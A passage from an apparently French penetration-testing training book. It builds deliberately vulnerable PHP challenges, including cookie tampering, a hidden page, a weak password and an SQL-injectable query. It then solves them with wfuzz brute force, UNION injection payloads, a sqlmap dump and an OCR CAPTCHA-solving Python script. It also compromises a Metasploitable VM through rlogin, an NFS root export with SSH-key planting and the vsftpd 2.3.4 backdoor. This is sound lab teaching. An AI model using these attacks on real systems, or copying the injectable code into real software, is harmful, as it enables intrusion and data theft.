root@WEB1:/home/web/www# Nous ditons le cookie d laide de Firebug en faisant un clic droit dessus et changeons sa valeur avec la nouvelle valeur que nous venons de calculer. Nous appelons de nouveau la page Identification et constatons que nous sommes passs administrateurs. Nous avons vu ici limportance de ne pas stocker dinformations sensibles utilises par le serveur pour engager des actions. Les cookies doivent tre utiliss avec prudence. Ceux-ci tant du ct client, il est facile den modifier le contenu. 3. Des pages pas vraiment caches a. Implmentation de la quatrime preuve Commenons par copier, comme prcdemment, lpreuve 1 avec tous ses dossiers et fichiers dans un dossier epreuve4. root@WEB1:/home/web/www# cp -R epreuve1 epreuve4 Limplmentation de cette preuve est assez simple : il faut juste ajouter un test dans le fichier fonctions.php avec un ID qui nest pas prsent dans le menu. Nous ajoutons dans la fonction page, en dessous du test GET, le code suivant : elseif ( $id==184 ) { // ***** page 184 ***** ?> <div class="header"> <h3>Bravo</h3> <div class="date">20 avril 2013</div> </div> <div class="content"> <p>Vous avez trouv la bonne page. Votre clef est : A2dfT3BBn2e</p> </div> <div class="footer"> <ul> <li class="readmore"><a href="#">Lire la suite</a></li> </ul> </div> <?php } Il faudra indiquer comme indice que le but est de trouver une page qui nest pas visible par un lien dans un menu. b. Solution de la quatrime preuve Si nous observons la constitution de lURL en navigant sur diffrentes pages, nous remarquons quun paramtre page est pass. Celui-ci est de nature numrique.
Nous allons tenter de parcourir en automatique les pages en faisant changer cet ID de page de faon incrmentale. Nous pourrions crire un script Python ou PHP, mais comme nous sommes sur BackTrack, nous disposons dun outil qui le fait : wfuzz. Nous nous rendons dans le dossier adquat de linstallation BackTrack et lanons wfuzz sans argument afin dobtenir des informations sur les options possibles : root@bt:/pentest/web/wfuzz# python wfuzz.py
******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ********************************************************
Usage: wfuzz.py [options] <url>
Options: -c : Output with colors -v : Verbose information -o printer : Output format by stderr -p addr : use Proxy (ip:port or ip:port-ip:port- ip:port) -x type : use SOCK proxy (SOCKS4,SOCKS5) -t N : Specify the number of threads (20 default) -s N : Specify time delay between requests (0 default)
-e <type> : List of available encodings/payloads/iterators/printers -R depth : Recursive path discovery -I : Use HTTP HEAD instead of GET method (No HTML body responses). --follow : Follow redirections
-m iterator : Specify iterator (product by default) -z payload : Specify payload (type,parameters,encoding) -V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
-X : Payload within HTTP methods (ex: "FUZZ HTTP/1.0"). No need for FUZZ keyword. -b cookie : Specify a cookie for the requests -d postdata : Use post data (ex: "id=FUZZ&catalogue=1") -H headers : Use headers (ex:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")
--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : Hide resposnes with the specified[s] code/lines/words/chars (Use BBB for taking values from baseline) --hs regex : Hide responses with the specified regex within the response
Keyword: FUZZ,FUZ2Z wherever you put these words wfuzz will replace them by the payload selected.
root@bt:/pentest/web/wfuzz# Loption qui va nous intresser est -z range,d-f. Effectuons un premier essai : root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-10 --hc=404 http://192.168.2.50/epreuve4/index.php?page=FUZZ /pentest/web/wfuzz/iterations.py:17: DeprecationWarning: object.__init__() takes no parameters itertools.product.__init__(self, *i)
******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ********************************************************
Total requests: 10 ================================================================== ID Response Lines Word Chars Request ==================================================================
00001: C=200 109 L 296 W 3507 Ch " - 1" 00002: C=200 112 L 459 W 4702 Ch " - 2" 00003: C=200 115 L 685 W 6142 Ch " - 3" 00004: C=200 92 L 160 W 2105 Ch " - 5" 00005: C=200 111 L 267 W 3374 Ch " - 4" 00006: C=200 92 L 160 W 2105 Ch " - 6" 00007: C=200 92 L 160 W 2105 Ch " - 8" 00008: C=200 92 L 160 W 2105 Ch " - 7" 00010: C=200 92 L 160 W 2105 Ch " - 10" 00009: C=200 92 L 160 W 2105 Ch " - 9" Nous observons que lorsque nous appelons une page qui nexiste pas, nous avons un retour faisant 2 105 caractres. Nous allons donc masquer cette rponse pour allger laffichage et tendre la plage balaye. root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z range,1-300 --hc=404 --hh=2105 http://192.168.2.50/epreuve4/index.php?page=FUZZ /pentest/web/wfuzz/iterations.py:17: DeprecationWarning: object.__init__() takes no parameters itertools.product.__init__(self, *i)
******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ********************************************************
Total requests: 300 ================================================================== ID Response Lines Word Chars Request ==================================================================
00001: C=200 112 L 459 W 4702 Ch " - 2" 00002: C=200 109 L 296 W 3507 Ch " - 1" 00003: C=200 115 L 685 W 6142 Ch " - 3" 00004: C=200 111 L 267 W 3374 Ch " - 4" 00102: C=200 105 L 195 W 2852 Ch " - 100" 00180: C=200 105 L 192 W 2808 Ch " - 184"
root@bt:/pentest/web/wfuzz# Voil, nous venons de dcouvrir une page dont lID est 184 qui existe et nest pas rfrence dans les menus. 4. Mieux vaut avoir un mot de passe fort a. Implmentation de la cinquime preuve Comme pour toutes les autres preuves, nous copions arborescence du dossier de lpreuve 1 dans un dossier epreuve5. Nous plaons dans le fichier fonctions.php une page qui construit un formulaire didentification. elseif ( $id==5 ) { // ***** page 5 identification ***** ?> <div class="header"> <h3>Identification</h3> <div class="date">20 avril 2013</div> </div> <div class="content"> </p> <form action="index.php" name="ident" id="ident" method="post"> <fieldset> <legend>Identifiez-vous</legend> <p><label for="Identifiant">Identifiant : <input type="text" name="login" id="login" maxlength="20"></label></p> <p><label for="Mot de passe">Mot de passe : <input type="password" name="passwd" id="passwd" maxlength="20"></label></p> <input type="hidden" name="form" value="1"> <p><input type="submit" name="form1" value="Valider"></p> </fieldset> </p> </div> <?php } Il faut ensuite ajouter le test de validation de la bonne identit avec le bon mot de passe. elseif ($type=="POST") { if ( $id==1) { if ($_POST[login]=="admin" and $_POST[passwd]=="cynthia") { echo "<h3>Validation didentification</h3>"; echo "<p>Bravo votre clef est Dc7854PxF6</p>"; } else { echo "<p>Erreur didentification</p>"; } }
} Le but de cette preuve est de russir sidentifier en utilisant une attaque par dictionnaire sur le formulaire. b. Solution de la cinquime preuve Dans cette preuve, nous nous trouvons face un formulaire. Nous savons quil existe un compte administrateur, dont gnralement le nom dutilisateur est admin ou administrateur .
Nous voulons tester si cet administrateur na pas utilis un mot de passe simple. Pour cela, nous allons faire une attaque par dictionnaire. Mais avant, il faut bien connatre les champs de notre formulaire. Nous pouvons bien entendu lire le code source de celui-ci, mais il existe des outils qui le font pour nous et nous affichent lorganisation des champs de faon plus lisible. Lextension Web Developer pour Firefox nous offre la possibilit dafficher les dtails des formulaires. Vous pouvez trouver ce module ici : https://addons.mozilla.org/fr/firefox/addon/web-developer/ Aprs installation, une nouvelle barre doutils est prsente. Nous cliquons sur View form information du menu Forms et trouvons les informations suivantes :
Pour conduire notre attaque, nous allons encore utiliser wfuzz. Voici la ligne de commande utilise : root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z file,wordlist/general/medium.txt --hc 404 -d "login=admi&form=1&passwd=FUZZ" http://192.168.2.50/epreuve5/index.php /pentest/web/wfuzz/iterations.py:17: DeprecationWarning: object.__init__() takes no parameters itertools.product.__init__(self, *i)
******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ********************************************************
Total requests: 1660 ================================================================== ID Response Lines Word Chars Request ==================================================================
00001: C=200 94 L 168 W 2272 Ch " - 00" 00002: C=200 94 L 168 W 2272 Ch " - 0" 00003: C=200 94 L 168 W 2272 Ch " - 01" 00004: C=200 94 L 168 W 2272 Ch " - 03" 00005: C=200 94 L 168 W 2272 Ch " - 02" 00006: C=200 94 L 168 W 2272 Ch " - 1" 00007: C=200 94 L 168 W 2272 Ch " - 10" 00008: C=200 94 L 168 W 2272 Ch " - 100" 00010: C=200 94 L 168 W 2272 Ch " - 20" 00011: C=200 94 L 168 W 2272 Ch " - 1000" 00012: C=200 94 L 168 W 2272 Ch " - 200" 00009: C=200 94 L 168 W 2272 Ch " - 123" Nous voyons dfiler toutes les requtes POST avec tous les mots de passe tests. Mais comment savoir celui qui est le bon ? Cest probablement celui qui va renvoyer une page diffrente, donc une page qui ne comporte pas 2 272 caractres. Nous reprenons notre ligne de commande en cachant les retours 2 272 caractres. root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z file,wordlist/general/medium.txt --hc 404 --hh 2272 -d "login=admin&form=1&passwd=FUZZ" http://192.168.2.50/epreuve7/index.php /pentest/web/wfuzz/iterations.py:17: DeprecationWarning: object.__init__() takes no parameters itertools.product.__init__(self, *i)
******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ********************************************************
Total requests: 1660 ================================================================== ID Response Lines Word Chars Request ==================================================================
00414: C=200 94 L 172 W 2316 Ch " - cynthia"
root@bt:/pentest/web/wfuzz# Et voici notre mot de passe dcouvert. 5. Laccs aux bases de donnes a. Implmentation de la sixime preuve Pour cette preuve, nous allons avoir besoin de crer une base de donnes. Celle-ci va contenir des comptes utilisateurs et une information, la cl de lpreuve, dans une table. Cette dernire information ne doit normalement pas tre accessible lutilisateur. La trouver sera le but de lpreuve. Commenons par crer la base (livres), les tables (livres et clef_epreuve) et insrer des donnes. Voici les commandes SQL qui vous permettront de la reproduire. CREATE TABLE `clef_epreuve` ( `clef` varchar(20) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
INSERT INTO `livres` VALUES (342, PHP5,Damien Seguy,Philippe Gamache),(426,Ethical Hacking,ACISSI),(532,seaux,Andrew Tanenbaum); Il est ncessaire dans ce type dpreuve de bien limiter les droits de lutilisateur qui sera utilis par les scripts PHP. Ici, un droit de lecture des donnes de la base est suffisant. Entrons dans linterprteur MySQL et crons cet utilisateur : mysql> GRANT select ON livres.* TO ep6@localhost IDENTIFIED BY acissi!2011; Passons la modification des scripts PHP. Comme pour toutes les autres preuves, nous avons copi la structure de dossier de lpreuve 1 dans le dossier epreuve6. Nous implmentons dans le fichier fonctions.php un formulaire permettant la recherche dun livre en fonction de sa rfrence. elseif ( $id==5 ) { // ***** page 5 rechercher livre ***** ?> <div class="header"> <h3>Livres</h3> <div class="date">20 avril 2013</div> </div> <div class="content"> <p>Vous pouvez saisir la rfrence dun livre pour dterminer sil est disponible.</p> <p> <form action="index.php" method="post" id="sc"> <input type="text" name="q" id="q" value="" class="q"/> <input type="hidden" name="form" value="1"> <input type="submit" name="submit" id="submit" value="Rechercher" /> </form> </p> </div> <?php } Il faut ensuite ajouter dans ce mme fichier le code permettant dafficher le rsultat de cette recherche. //*** traitement du POST *** elseif ($type=="POST") { if ( $id==1) { echo "<h3>Rsultat de la recherche</h3>"; $con=mysql_connect( $server=localhost, $username=ep6, $password=acissi!2011); $db=mysql_select_db(livres); $ref=$_POST[q]; $requete=SELECT * FROM livres WHERE ref=.$ref; $result=mysql_query($requete); if ( $result ) { $row=mysql_fetch_array($result, MYSQL_ASSOC); if ( $row ) { echo "<p>Ce livre existe dans notre base</p>"; echo "<p>Titre : ".$row[titre]."</br>"; echo "Auteur : ".$row[auteur]."</p>"; } else { echo "<p>Ce livre nexiste pas dans notre base</p>"; } } else { echo "Erreur"; } } } Cest fini, lpreuve est prte. b. Solution de la sixime preuve Pour commencer, nous tudions le comportement du formulaire de recherche propos. Nous faisons une recherche normale avec un livre qui existe et avec un livre qui nexiste pas. Quand le livre nexiste pas, nous avons un message nous le signalant et quand le livre existe, nous voyons apparatre son auteur et son titre.
Nous allons tester si le site est faillible aux injections. Saisissons dans le champ de recherche : 1 union select 1# Le site nous renvoie une erreur. Ceci nous indique que notre requte a certainement provoqu une erreur dans la base de donnes. Il semble donc quune injection soit possible mais nous nen avons pas encore la certitude. Continuons nos essais avec : 2 union select 1,2,3 # Cette fois, nous voyons un rsultat de recherche positif et le titre du livre est 2 avec un auteur 3. Cest certain prsent, le formulaire est rceptif une injection. La requte comporte trois champs et les champs 2 et 3 sont affichs dans la page. Plutt que de continuer la main, nous disposons doutils dans BackTrack capables dextraire toutes les donnes de la base. Nous allons utiliser sqlmap. La premire tape, bien que nous layons dj faite la main, est de faire reprer par sqlmap les champs injectables. Voici la commande et son rsultat : root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1"
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end users responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:28:28
[10:28:28] [INFO] resuming back-end DBMS mysql [10:28:28] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: POST Parameter: q Type: UNION query Title: MySQL UNION query (NULL) - 3 columns Payload: form=1&q=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a616c633a,0x4751514c427a64636f49,0x3a6179793a)# ---
[10:28:28] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5 [10:28:28] [INFO] fetched data logged to text files under /pentest/database/sqlmap/output/192.168.2.50
[*] shutting down at 10:28:28 Nous visualisons linjection ralise par sqlmap. Ce nest pas la mme injection que nous avions effectue la main, mais la conclusion est identique : il y a trois colonnes dans la table. Poursuivons linjection et demandons sqlmap dextraire les donnes de la base. Voici la commande et un extrait des rponses obtenues : root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1" -dump Database: livres Table: clef_epreuve [1 entry] +------------+ | clef | +------------+ | As81Cfoab4 | +------------+ Database: livres Table: livres [3 entries] +-----+-----------------+-------------------------------+ | ref | titre | auteur | +-----+-----------------+-------------------------------+ | 342 | PHP5 | Damien Seguy,Philippe Gamache | | 426 | Ethical Hacking | ACISSI | | 532 | seaux | Andrew Tanenbaum | +-----+-----------------+-------------------------------+ La cl recherche est trouve sans problme. 6. Passer les CAPTCHA a. Implmentation de la septime lpreuve Afin dviter que des botnet puissent remplir des formulaires, crer des comptes, faire des attaques par force brute, etc., il est courant de trouver des CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) lors de la saisie de formulaires. Ceux-ci peuvent prendre diffrentes formes, dont la plus courante est la lecture de chiffres et de lettres dans une image. Lobjectif de lpreuve sera donc de prouver quun script est capable de saisir un formulaire et de le valider sans lintervention de lhomme. Passons la mise en uvre de lpreuve. Nous crons une page qui permet de poser une question grce un formulaire. Celui-ci sera protg par un CAPTCHA. Voici le code du formulaire : // ***** page 5 question ***** $_SESSION[code]=gencode(); ?> <div class="header"> <h3>Question</h3> <div class="date">20 avril 2013</div> </div> <div class="content"> <p> <form action="index.php" method="POST" name="formjs1" id="formjs1"> <fieldset> <legend> Question</legend> Votre pseudo : <input type="text" name="pseudo"><br> Votre question : <input type="test" name="question"> <hr /> <img src="images/code.php" alt="captcha" > <br />Inscrivez le code crit ci-dessus.<br /> Rponse : <input type="text" name="captcha"> <input type="hidden" name="form" value="1"> <input type="submit" id="valider" name="validr" value="valider"> </fieldset> </form> <p>Saurez-vous poser 5 questions en moins de 10 secondes ? Vous pouvez si vous ntes pas un homme.</p> </p> </div> <?php } Au dbut de celui-ci, nous gnrons un code alatoire que nous plaons dans une variable de session. Il faut implmenter le code de cette fonction dans le fichier fonctions.php, la voici : function gencode() { $carac="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123 456789"; $code=""; for ($i=0;$i<6;$i++) { $pos=rand(0,strlen($carac)-1); $code=$code.substr($carac,$pos,1); } return $code;
} Dans le formulaire, une image nomme code.php est place. Ce sera le CAPTCHA. Cette image est en fait un code PHP qui va gnrer une image au format PNG en fonction de la variable de session code. Ce script est plac dans le dossier images. Voici son code : <?php session_start(); $code=$_SESSION[code]; header("Content-type: image/png"); //cration du canevas de limage 300x300 $im = imagecreate(200,50); //cration de la palette des couleurs $noir = imagecolorallocate($im, 0, 0, 0); $jaune = imagecolorallocate($im, 255, 255, 0); $rouge = imagecolorallocate($im,255,0,0); $vert = imagecolorallocate($im,0,255,0); $blanc = imagecolorallocate($im,255,255,255); $gris = imagecolorallocate($im,100,100,100); imagefilledrectangle($im,0,0,200,50,$blanc); // Dfinition de la variable denvironnement pour GD putenv(GDFONTPATH= . Realpath(.)); $font = DejaVuSansMono.ttf; //criture dun code for ($x=0;$x<=6;$x=$x+3) { $txt=substr($code,$x,1); $angle = rand(-20,20); $espace=30; imagettftext($im,20,$angle,10+$espace*$x,30,$jaune,$font, $txt); $txt=substr($code,$x+1,1); $angle = rand(-20,20); imagettftext($im,20,$angle,10+$espace*($x+1),30,$rouge, $font,$txt); $txt=substr($code,$x+2,1); $angle = rand(-20,20); imagettftext($im,20,$angle,10+$espace*($x+2),30,$vert,$font, $txt); } //cration de limage en png imagepng($im); imagedestroy($im); ?> Pour que cette image puisse tre gnre sans problme, il faut disposer de la police DejaVuSans.ttf dans le dossier images. Nous copions celle-ci du dossier /usr/share/fonts/truetype. root@WEB1:/home/web/www/epreuve7# cp /usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf /home/web/www/epreuve7/images/ Notre formulaire est prt. Il faut prsent implmenter la validation de celui-ci. Pour prouver que ce sera bien un script qui valide le formulaire, le mieux est de compter un nombre de validations par seconde quun homme sera incapable de faire. Donc, ds la premire validation, nous dclenchons une sorte de chronomtre et nous naurons que 10 secondes pour faire 5 validations. Cette information sera donne celui qui veut rsoudre cette preuve. Voici le code de validation du formulaire que nous implmentons sous la forme dune fonction : function val_captcha($valeur) { //echo $valeur."<br />"; //echo $_SESSION[valeur]."<br />"; $temps=10; //initialisation du temps if (!($_SESSION[temps]>0)) $_SESSION[temps]=time(); echo "temps initial : ".$_SESSION[temps]."<br />"; $reste = $temps-(time()-$_SESSION[temps]); //echo "temps restant : ".$reste."<br />";
if (preg_match("#[A-Za-z0-9]{6}#", $valeur)) { echo $_SESSION[code]."<br />"; if ($valeur==$_SESSION[code]) { switch($_SESSION[etape]) { case 1 : if ($reste>=0) $_SESSION[etape]=2; else $_SESSION[etape]=0; echo "Validation n ". $_SESSION[etape]."<br />"; break; case 2 : if ($reste>=0) $_SESSION[etape]=3; else $_SESSION[etape]=0; echo "Validation n ". $_SESSION[etape]."<br />"; break; case 3 : if ($reste>=0) $_SESSION[etape]=4; else $_SESSION[etape]=0; echo "Validation n ". $_SESSION[etape]."<br />"; break; case 4 : if ($reste>=0) { echo "Bravo, vous avez gagn!<br />"; $i=7;
$IP=$_SERVER[REMOTE_ADDR]; $code="4QI85ccE00"; echo Votre clef de validation est : <strong>.$code.</strong><br />; } else $_SESSION[etape]=0; break; default: $_SESSION[etape]=1; echo "Validation n ". $_SESSION[etape]."<br />"; } if ($reste<0) { echo "TROP TARD!! Tentez nouveau votre chance<br />"; $_SESSION[etape]=0; } } else { echo "Mauvaise valeur"; } } else { echo "Erreur de saisie.<br />"; } unset($_SESSION[code]); } Voil, notre preuve est prte. Nous devons visualiser correctement le CAPTCHA dans la page Questions et celui-ci doit changer chaque fois que nous rafrachissons la page.
b. Solution de la septime preuve Pour solutionner cette preuve, il faut crer un programme qui ralise les tches suivantes : Appeler la page Questions pour gnrer le CAPTCHA Tlcharger limage du CAPTCHA Dcoder le CAPTCHA Poster le formulaire Il faudra rpter ces oprations 5 fois en moins de 10 secondes. Nous choisissons dcrire ce script en Python et dutiliser un logiciel de reconnaissance optique de caractres externe. Nous prendrons gocr. Commenons par installer gocr : root@bt:~/ENI_captcha# aptitude install gocr Nous allons expliquer le script progressivement. Le voici : Nous commenons par indiquer que le script sera en UTF-8, puis nous importons les librairies dont nous allons avoir besoin : urllib et urllib2 pour gnrer les requtes GET et POST. Il faut aussi cookielib pour conserver la session. Ensuite vient os pour pouvoir appeler une commande externe, gocr. Enfin, nous devrons traiter un peu limage pour aider gocr, pour cela PIL (Python Imaging Library) sera parfait. #!/usr/bin/env python #--*-- coding: UTF-8 --*--
import urllib2, urllib, cookielib, os from PIL import Image Nous prparons les URL des requtes utiles. url_question="http://192.168.2.50/epreuve7/index.php?page=5" url_image="http://192.168.2.50/epreuve7/images/code.php" url_post="http://192.168.2.50/epreuve7/index.php" Nous crons un objet permettant de garder la session. urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib. CookieJar())) Nous initialisons le nombre de validations 0. nbrval=0 Nous commenons la boucle. Comme gocr ne va pas russir dcoder limage chaque fois, il faudra faire plus de 5 essais. Nous esprons quand mme russir valider 5 fois sur 50. for i in range(0,50): Nous appelons le formulaire de questions pour gnrer une nouvelle image de CAPTCHA, puis nous rcuprons les donnes brutes de cette image et les enregistrons. #Appel du formulaire des questions rep_question=urlOpener.open(url_question) captcha = urlOpener.open(url_image) donnees = captcha.read() img=open("captcha.png","w") img.write(donnees) .close() Limage du CAPTCHA tant en couleur, elle sera difficilement interprtable par gocr. Nous allons donc passer les lettres en noir. Pour cela, nous considrons que le point en haut gauche est de la couleur du fond. Tous les points ntant pas de cette couleur sont alors passs en noir. Une fois cette opration effectue, nous enregistrons la nouvelle image. #traitement image im = Image.open("captcha.png") im = im.convert("P") fond = im.getpixel((1,1)) temp = {} for x in range(im.size[1]): for y in range(im.size[0]): pix = im.getpixel((y,x)) temp[pix] = pix if pix != fond: im.putpixel((y,x),0) im.save("captcha.png") Il est temps de passer limage dans gocr et de rcuprer son retour. Nous affichons le rsultat de gocr pour information. #Lecture image os.system("gocr captcha.png > captcha.txt") txt=open("captcha.txt","r") txtcaptcha=txt.read() txt.close() txtcaptcha=txtcaptcha.rstrip() print txtcaptcha Nos informations peuvent tre postes. Nous utilisons urlencode pour formater les donnes du formulaire et postons celles-ci. #Envoi captcha pour validation valeurs = {pseudo : codej, question : captcha, captcha : txtcaptcha , form : 1 } data = urllib.urlencode(valeurs) reponse=urlOpener.open(url_post,data) Nous rcuprons la page du retour du formulaire. Si celle-ci contient le mot Validation , cest que gocr a bien fait son travail. Nous comptons le nombre de validations russies. Arrivs la cinquime validation russie, nous affichons la page qui atteste de la validation de lpreuve. page = reponse.read() #Affichage if nbrval<4 : if "Validation" in page : print Validation num :+str(nbrval)+" captcha : "+txtcaptcha nbrval+=1 else : if "Bravo" in page : print page break Lanons le script. Voici un extrait de laffichage quil provoque. root@bt:~/ENI_captcha# python captcha.py al7mR X19zDW OlmX Oen4H9 cUY3fY Validation num :0 captcha : cUY3fY AtdQ5i Validation num :1 captcha : AtdQ5i TiEgP2 G4izC y3njA4 Validation num :2 captcha : y3njA4 Ngg4 6Rl06B vi4QAa Validation num :3 captcha : vi4QAa rglDQ TdRb oVmjh ... <br />Bravo, vous avez gagn!<br /> Voil, lpreuve est valide. Plateformes dentranement Introduction Afin de pouvoir tester tout type de machines, nous allons installer diffrents autres systmes tels que Windows ou des machines faillibles cls en main comme Metasploitable ou Webgoat. Metasploitable Metasploitable est une machine virtuelle sous Linux vulnrable. Cette VM peut tre utilise pour sentraner au pentesting (test de pntration), tester des outils de scurit tels que metasploit et pratiquer les techniques usuelles de pntration de systmes. Nous pouvons tlcharger cette machine virtuelle cette adresse : http://information.rapid7.com/download-metasploitable.html?LS=1631875&CS=web Le login et mot de passe par dfaut sont msfadmin et msfadmin. Ds que nous aurons rcupr cette machine, nous devrons extraire le fichier (fichier zip) et linstaller dans notre Proxmox comme nous vous lavons expliqu dans le chapitre Proxmox. Une fois la machine installe et lance, nous devrions arriver sur lcran suivant :
Nous pouvons donc nous connecter sur la machine avec lidentifiant msfadmin et le mot de passe msfadmin et effectuer un ifconfig afin de dterminer ladresse MAC et ladresse IP. Ladresse IP est donc pour cette machine 192.168.1.131 et son adresse MAC, 00:0c:29:9a:52:c1. msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.1.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 La premire chose que nous ferons si nous le souhaitons est de changer le mot de passe de ladministrateur msfadmin. msfadmin@metasploitable:~$ passwd Changement du mot de passe pour fasm. Mot de passe UNIX (actuel) : Nous pourrons bien sr passer cette machine en DHCP afin que notre serveur vu au chapitre Machines virtuelles et services puisse lui fournir une adresse fixe. Cest pour cela que nous avons besoin de ladresse MAC. 1. Liste des services De notre machine attaquante, une KaliLinux par exemple, nous pouvons essayer didentifier les services qui tournent sur cette machine avec par exemple lexcellent outil nmap. La commande suivante scannera tous les ports TCP sur la machine distante Metasploit : root@ubuntu:~# nmap -p0-65535 192.168.1.131 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open unknown 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open unknown 39292/tcp open unknown 43729/tcp open unknown 44813/tcp open unknown 55852/tcp open unknown MAC Address: 00:0C:29:9A:52:C1 (VMware) Chacun de ces points dentre est susceptible de comporter une faille quelconque. 2. Services : les bases UNIX Les ports TCP 512, 513 et 514 sont connus comme des services r (Berkeley r-services et r- commands tels que rsh, rexec et rlogin), et ont t mal configurs pour autoriser un accs distance de nimporte quel hte. Pour pouvoir tirer parti de ces failles, il va nous falloir tre srs que rsh-client est install et nous pourrons lancer la commande suivante en tant que root sur la machine attaquante. Si une demande nous est faite dune cl SSH, cela voudra dire que lutilitaire rsh-client nest pas install et que le systme utilise par dfaut SSH. # rlogin -l root 192.168.1.131 Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 root@metasploitable:~# Cest aussi simple que cela. Le prochain service que nous allons regarder est le Network File System (NFS est un protocole qui permet aux ordinateurs daccder des fichiers via un rseau). NFS peut tre identifi en testant le port 2049 directement ou en demandant la liste des services au portmapper (processus qui analyse les paquets arrivant sur une interface et qui les route selon leur adresse et leur port de destination). Lexemple ci-aprs utilise rpcinfo pour identifier NFS et showmount -e pour dterminer que le partage "/" (le root du systme de fichiers) est export. Nous aurons besoin des paquets rpcbind et nfs-common pour suivre cela. root@ubuntu:~# rpcinfo -p 192.168.1.131 program vers proto port service 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 53318 status 100024 1 tcp 43729 status 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100021 1 udp 46696 nlockmgr 100021 3 udp 46696 nlockmgr 100021 4 udp 46696 nlockmgr 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100021 1 tcp 55852 nlockmgr 100021 3 tcp 55852 nlockmgr 100021 4 tcp 55852 nlockmgr 100005 1 udp 34887 mountd 100005 1 tcp 39292 mountd 100005 2 udp 34887 mountd 100005 2 tcp 39292 mountd 100005 3 udp 34887 mountd 100005 3 tcp 39292 mountd
root@ubuntu:~# showmount -e 192.168.1.131 Export list for 192.168.1.131: / * Obtenir un accs un systme avec un systme de fichiers en criture est une chose triviale. Pour faire cela (et parce que ssh tourne), nous allons gnrer une cl SSH sur notre machine attaquante, monter lexport NFS et ajouter notre cl au compte de lutilisateur root (fichier authorized_keys) : root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# ssh [email protected] Last login: Fri Jun 1 00:29:33 2012 from 192.168.1.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~# 3. Services : Backdoors Sur le port 21, Metasploitable fait tourner vsftpd, le FTP que nous avons configur au chapitre Machines virtuelles et services. Cette version, ici la version 2.3.4, comporte une backdoor qui a t ajoute au service par un intrus. La version contenant la backdoor a t mise disposition sur le web et sest donc propage. La backdoor a t trs vite identifie et enleve, mais pas assez rapidement puisque beaucoup de personnes ont eu le temps de tlcharger la version concerne. Si un nom qui se termine par :) est envoy, la backdoor ouvre le port 6200 et lance un shell en coute sur ce port. Nous pouvons dmontrer cela avec telnet ou utiliser un module de Metasploit pour lexploiter automatiquement : root@ubuntu:~# telnet 192.168.1.131 21 Trying 192.168.1.131... Connected to 192.168.1.131. Escape character is ]. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ] telnet> quit Connection closed.
